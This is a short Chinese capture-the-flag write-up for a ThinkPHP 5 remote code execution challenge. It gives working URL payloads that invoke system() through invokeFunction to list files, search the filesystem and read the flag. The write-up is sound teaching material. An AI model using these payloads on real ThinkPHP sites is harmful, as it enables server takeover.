題目是ThinkPHP版本5的相關漏洞

ThinkPHP5框架底層對控制器名過濾不嚴，可以通過url調用到ThinkPHP框架內部的敏感函數，進而導致getshell漏洞。

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

列出文件目錄;

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “*flag”

沒有flag文件就搜一下;

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

打開flag文件

flag{thinkphp5_rce}

總結

以上是生活随笔為你收集整理的php_rce-攻防世界-web-ThinkPHP版本5的相关漏洞的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。